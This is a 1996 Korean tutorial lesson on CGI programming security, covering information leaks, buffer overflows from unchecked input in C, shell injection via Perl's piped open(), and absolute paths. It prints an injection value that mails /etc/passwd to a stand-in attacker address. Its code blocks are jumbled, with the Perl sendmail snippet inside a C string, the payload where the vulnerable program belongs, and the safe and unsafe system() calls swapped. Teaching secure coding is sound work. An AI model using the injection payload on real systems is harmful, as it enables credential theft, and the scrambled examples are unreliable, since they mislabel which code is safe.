날짜: 1996-06-02 | 글쓴이: 도아 | 7089 번 | 프린트 | 메일로보내기

제 2강 - CGI 프로그래밍시 주의점


웹 서버에 대한 정보

시스템에 관한 정보가 새어나갈 수도 있다. 예를 들어, "finger" 스크립트 같은 경우 사용자의 홈 디렉토리에 대한 물리적 경로를 출력해준다. "w" 명령어 같은 경우 서버에서 어떤 프로그램들이 돌고 있고 어떤 사용자들이 있는지에 대한 다양한 정보를 제공해 주고, "ps" 명령어는 "w"보다 더 자세한 정보를 제공해 준다. 사용자의 입력의 크기 제한

C와 같은 언어로 CGI 프로그래밍을 하는 경우 지나치게 긴사용자의 입력으로인한 버퍼 오버플로우 때문에 보안 헛점은 발생한다. 다음과 같은 예제를 보자.

#include <stdlib.h>
#include <stdio.h>

static char query_string[1024];

char* read_POST() {

   int query_size;
   query_size=atoi(getenv("CONTENT_LENGTH"));
   fread(query_string,query_size,1,stdin);
   return query_string;
}

이 코드에서는 사용자의 입력이 1024바이트보다는 작을 것이라고 가정하고 있다. 이런 경우 해커가 1024바이트보다 더 긴 입력을 줘서 프로그램을 오동작 시킬 수도 있게 된다.

버퍼 오버플로우가 생기게 되면 프로그램이 오동작하게되면 때로는 해커가 원격지에서 명령어를 수행할 수도 있게 되는 경우가 있다. 따라서 위와 같은 프로그램은 다음과 같이 수정하는 것이 바람직하다.

char* read_POST() {
   int query_size=atoi(getenv("CONTENT_LENGTH"));
   char* query_string = (char*) malloc(query_size);
   if (query_string != NULL)
      fread(query_string,query_size,1,stdin);
   return query_string;
}

이 프로그램에서는 동적으로 메모리를 할당해서 사용자의 입력을 받아들이게 되어 있다. 또한 동적으로 할당된 메모리에 대해서는 리턴코드를 검사해야 한다.

동적으로 할당하고 싶지 않다면 strcpy()나 strcat()을 사용하는 것은 바람직하지 못하다. 왜냐면 두 함수는 모두 입력 스트링이 끝날 때까지 무조건 복사하기 때문이다. 따라서 입력 문자열의 최대 길이를 정해 놓고 최대 길이까지만 복사하도록 하는 것이 바람직하다. 이것을 위해서 다음과 같이 strncpy()나 strncat()을 사용할 수 있다.

#define MAXSTRINGLENGTH 256
char myString[MAXSTRINGLENGTH];
char* query = read_POST();
myString[MAXSTRINGLENGTH-1]='
$mail_to = &get_name_from_input; # read the address from form
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
close MAIL;
'; /* ensure null byte */ strncpy(myString,query,MAXSTRINGLENGTH-1); /* don't overwrite null byte */
사용자의 입력 검사

C 함수 중에서 popen(), system()는 명령을 처리하기 위해 /bin/sh을 호출하게 되고, 펄에서는 system(), exec(), 파이프를 사용하는 open()이 쉘을 호출하고 eval()이 펄 프로그램을 호출하게 된다. 따라서 입력에 쉘의 메타문자가 들어오거나 펄의 명령어가 들어오게 되는 경우 보안 헛점이 생길 가능성이 있다. 예를 들어 다음과 같은 펄 프로그램을 보자.

nobody@nowhere.com;mail badguys@hell.org</etc/passwd;

이 프로그램에서는 파이프를 사용하는 open() 명령이다. 이 프로그램의 작성자는 $mail_to라는 변수에 정상적인 e-mail 주소가 들어올 것이라고 생각하겠지만 해커가 다음과 같은 e-mail 주소를 보내게 된다면 어떻게 될까?

/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwd

open() 명령은 다음과 같은 명령어로 수행되게 된다.

system("ls -l /local/web/foo");

즉, /usr/lib/sendmail과 mail프로그램이 둘다 수행되는 것이다. 이렇게 될 경우 해커에게 패스워드 파일이 메일로 보내지게 된다. 패스워드를 크랙하게 되면 해커는 언제든지 시스템에 침입할 수 있게 된다. 절대경로 사용

PATH 환경변수를 변경시켜서 프로그램 작성자가 원하지 않는 프로그램이 수행되도록 하는 것은 잘 알려진 해킹 기법이다. 외부 프로그램을 호출할 때는 절대 경로명을 지정해 주는 것이 바람직하다. C언어로 다음과 같은 코드를 작성했다면

system("/bin/ls -l /local/web/foo");

이것 대신 다음과 같은 형식을 사용해야 한다.

putenv("PATH=/bin:/usr/bin:/usr/local/bin");

PATH 환경 변수가 굳이 필요하다면 프로그램을 시작하는 부분에서 다음과 같이 환경변수를 원하는 값으로 설정해야 한다.

[code=xml]putenv("PATH=/bin:/usr/bin:/usr/local/bin");[/code]

그리고 현재 디렉토리를 PATH에 추가시키는 것은 바람직하지 않다.



다음글: 제 3강 - 외부함수 호출시 주의점 (6016)1996-06-03
이전글: 제 1강 - CGI의 보안 (8931)1996-06-01

세상사는 이야기

  • 장난(?)으로 시작한 여 >
  • 탈옥의 필수, QuickDo >
  • 윈도 10, 한영 전환도 >
  • 바보도 할 수 있는 War >
  • 북마크에도 확장 아이 >
  • 크롬은 가라, 비발디가 >
  • 감히 아이폰 관리의 최 >
  • 디지털 노마드의 편집 >
  • [블로그 복귀 알림] 새 >
  • 오타도 즐거운 안드로 >


  • RSS 구독 (익명 | 회원 | 강좌 | 포럼)
    (C) 1996 ~ 2014 QAOS.com All rights reserved.